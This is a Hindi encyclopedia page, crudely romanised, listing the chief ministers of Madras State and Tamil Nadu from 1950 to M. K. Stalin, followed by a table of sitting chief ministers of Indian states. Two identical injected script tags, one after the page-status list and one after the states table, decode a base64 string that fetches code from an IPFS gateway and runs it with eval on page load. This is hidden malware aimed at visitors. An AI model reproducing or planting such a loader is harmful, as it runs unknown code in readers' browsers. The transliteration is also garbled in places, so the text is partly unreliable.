तमिल नाडु के मुख्यमंत्री

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search

[[chitr:M-K-Stalin.jpg|thumb|200px|em. ke. stalin (mukhyamantri, tamil nadu)]] tamil nadu bharat ka ek dakshini rajy hai. tamil nadu shabd tamiळ bhasha ke 'tamil' tatha 'nadu' se milakar bana hai. british shasan kal mean yah praant madras presideansi ka hissa tha. svatantrata ke bad madras presideansi ko kee bhagoan mean baant diya gaya, jisake phalasvaroop madras tatha any rajyoan ka uday hua.

san 1968 mean madras praant ka nam badalakar tamil nadu kar diya gaya. pi. es. kumarasvami raja madras rajy ke pratham mukhyamantri the jabaki tamil nadu rajy banane ke pashchat yahaan ke pratham mukhyamantri banane ka gaurav si. en. annaduraee ko prapt hua. vartaman mean rajy ke mukhyamantri em. ke. stalin haian. unhoanne 7 mee, 2021 se mukhyamantri ka padabhar grahan kiya hai.

madras rajy ke mukhyamantriyoan ki soochi
kramaank nam chitr karyakal dal / parti
1. pi. es. kumarasvami raja center|80px|pi. es. kumarasvami raja 26 janavari, 1950 - 9 aprॅl, 1952 bharatiy rashtriy kaangres
2. si. rajagopalachari center|80px|si. rajagopalachari 10 aprॅl, 1952 - 13 aprॅl, 1954 bharatiy rashtriy kaangres
3. ke. kamaraj center|80px|ke. kamaraj 13 aprॅl, 1954 - 2 aktoobar, 1963[1] bharatiy rashtriy kaangres
4. minajur bhaktavatsalam center|80px|minajur bhaktavatsalam 2 aktoobar, 1963 se 6 march, 1967 bharatiy rashtriy kaangres
5. si. en. annaduraee center|80px|si. en. annaduraee 6 march, 1967 se 14 janavari, 1969 dramuk
tamilanadu rajy ke mukhyamantriyoan ki soochi
kramaank nam chitr karyakal dal / parti
1. si. en. annaduraee center|80px|si. en. annaduraee 14 janavari, 1969 se 3 faravari, 1969 dramuk
(karyavahak mukhyamantri) vi. ar. nedunacheziyan center|80px|chitr anupalabdh 3 faravari, 1969 se 10 faravari, 1969 dramuk
2. em. karunanidhi center|80px|em. karunanidhi 10 faravari, 1969 se 4 janavari, 1971 dramuk
center|30px|bharat sarakar rashtrapati shasan (5 janavari, 1971 - 14 march, 1971)
(2.) em. karunanidhi center|80px|em. karunanidhi 15 march, 1971 se 31 janavari, 1976 dramuk
center|30px|bharat sarakar rashtrapati shasan (1 faravari, 1976 - 29 joon, 1977)
3. em. ji. ramachandran center|80px|em. ji. ramachandran 30 joon, 1977 se 17 faravari, 1980 annadramuk
center|30px|bharat sarakar rashtrapati shasan (17 faravari, 1980 se 9 joon, 1980)
(3.) em. ji. ramachandran center|80px|em. ji. ramachandran 9 joon, 1980 se 15 navanbar, 1984 annadramuk
(karyavahak mukhyamantri) vi. ar. nedunacheziyan center|80px|chitr anupalabdh 16 navanbar, 1984 se 9 faravari, 1985 dramuk
(3.) em. ji. ramachandran center|80px|em. ji. ramachandran 10 faravari, 1985 se 24 disanbar, 1987 annadramuk
(karyavahak mukhyamantri) vi. ar. nedunacheziyan center|80px|chitr anupalabdh 25 disanbar, 1987 se 6 janavari, 1988 tak dramuk
4. janaki ramachandran center|80px|janaki ramachandran 7 janavari, 1988 se 30 janavari, 1988 annadramuk
center|30px|bharat sarakar rashtrapati shasan (31 janavari, 1988 - 26 janavari, 1989)
(2.) em. karunanidhi center|80px|em. karunanidhi 27 janavari, 1989 se 30 janavari, 1991 dramuk
center|30px|bharat sarakar rashtrapati shasan (31 janavari, 1991 - 23 joon, 1991)
5. je. jayalalita center|80px|jayalalita 24 joon, 1991 se 12 mee, 1996 annadramuk
(2.) em. karunanidhi center|80px|em. karunanidhi 13 mee, 1996 se 13 mee, 2001 dramuk
(5.) je. jayalalita center|80px|jayalalita 14 mee, 2001 se 21 sitanbar, 2001 annadramuk
6. o. panniraselvam center|80px|o. panniraselvam 22 sitanbar, 2001 se 1 march, 2002 annadramuk
(5.) je. jayalalita center|80px|jayalalita 2 march, 2002 se 12 mee, 2006 annadramuk
(2.) em. karunanidhi center|80px|em. karunanidhi 13 mee, 2006 se 15 mee, 2011 dramuk
(5.) je. jayalalita center|80px|jayalalita 16 mee, 2011 se 27 sitanbar, 2014 annadramuk
(6.) o. panniraselvam center|80px|o. panniraselvam 29 sitanbar, 2014 se 23 mee, 2015 annadramuk
(5.) je. jayalalita center|80px|jayalalita 23 mee, 2015 se 22 mee, 2016

23 mee, 2016 se 5 disanbar, 2016

annadramuk
(6.) o. panniraselvam center|80px|o. panniraselvam 6 disanbar, 2016 se 15 faravari, 2017 annadramuk
7. ke. palanisvami center|80px|ke. palanisvami 16 faravari, 2017 se padasth annadramuk
8. em. ke. stalin center|80px|em. ke. stalin 7 mee, 2021 dravi d munnetr k dagam
panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. kamaraj tamilanadu ke lagatar tin bar mukhyamantri bane.

sanbandhit lekh

bharatiy rajyoan mean padasth mukhyamantri
kramaank rajy mukhyamantri tasvir parti padabhar grahan
1. arunachal pradesh pema khaandoo 80px|center bhajapa 17 julaee, 2016
2. asam himanta bisva sarama 80px|center bhajapa 10 mee, 2021
3. aandhr pradesh vaee es jaganamohan reddi 80px|center vaeeesar kaangres parti 30 mee, 2019
4. uttar pradesh yogi adityanath 80px|center bhajapa 19 march, 2017
5. uttarakhand pushkar sianh dhami 80px|center bhajapa 4 julaee, 2021
6. odisha navin patanayak 80px|center bijoo janata dal 5 march, 2000
7. karnatak siddharamaiya 80px|center bharatiy rashtriy kaangres 20 mee, 2023
8. keral pinaraee vijayan 80px|center marksavadi kamyunist parti 25 mee, 2016
9. gujarat bhoopendr patel 80px|center bhajapa 12 sitambar, 2021
10. gova pramod savant 80px|center bhajapa 19 march, 2019
11. chhattisagadh vishnu dev say 80px|center bharatiy janata parti 13 disambar, 2023
12. jammoo-kashmir rikt (rajyapal shasan) lagoo nahian 20 joon, 2018
13. jharakhand hemant soren 80px|center jharakhand mukti morcha 29 disambar, 2019
14. tamil nadu em. ke. stalin 80px|center dravi d munnetr k dagam 7 mee, 2021
15. tripura manik saha 80px|center bhajapa 15 mee, 2022
16. telangana anumula revant reddi 80px|center bharatiy rashtriy kaangres 7 disanbar, 2023
17. dilli aravind kejarival 80px|center ap 14 faravari, 2015
18. nagalaind nephiyoo riyo 80px|center enadipipi 8 march, 2018
19. panjab bhagavant man 80px|center am adami parti 16 march, 2022
20. pashchim bangal mamata banarji 80px|center trinamool kaangres 20 mee, 2011
21. puducheri en. rangasvami 80px|center kaangres 7 mee, 2021
22. bihar nitish kumar 80px|center jadayoo 27 julaee, 2017
23. manipur en. biren sianh 80px|center bhajapa 15 march, 2017
24. madhy pradesh mohan yadav 80px|center bhajapa 13 disanbar, 2023
25. maharashtr ekanath shiande 80px|center shiv sena 30 joon, 2022
26. mizoram laladuhoma 80px|center joram pipals moovameant 8 disambar, 2023
27. meghalay k aaunarad sangama 80px|center enapipi 6 march, 2018
28. rajasthan bhajan lal sharma 80px|center bharatiy janata parti 15 disambar, 2023
29. sikkim prem sianh tamaang 80px|center sikkim kraantikari morcha 27 mee, 2019
30. hariyana nayab sianh saini 80px|center bhajapa 12 march, 2024
31. himachal pradesh sukhaviandar sianh sukkhoo 80px|center bharatiy rashtriy kaangres 11 disambar, 2022

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah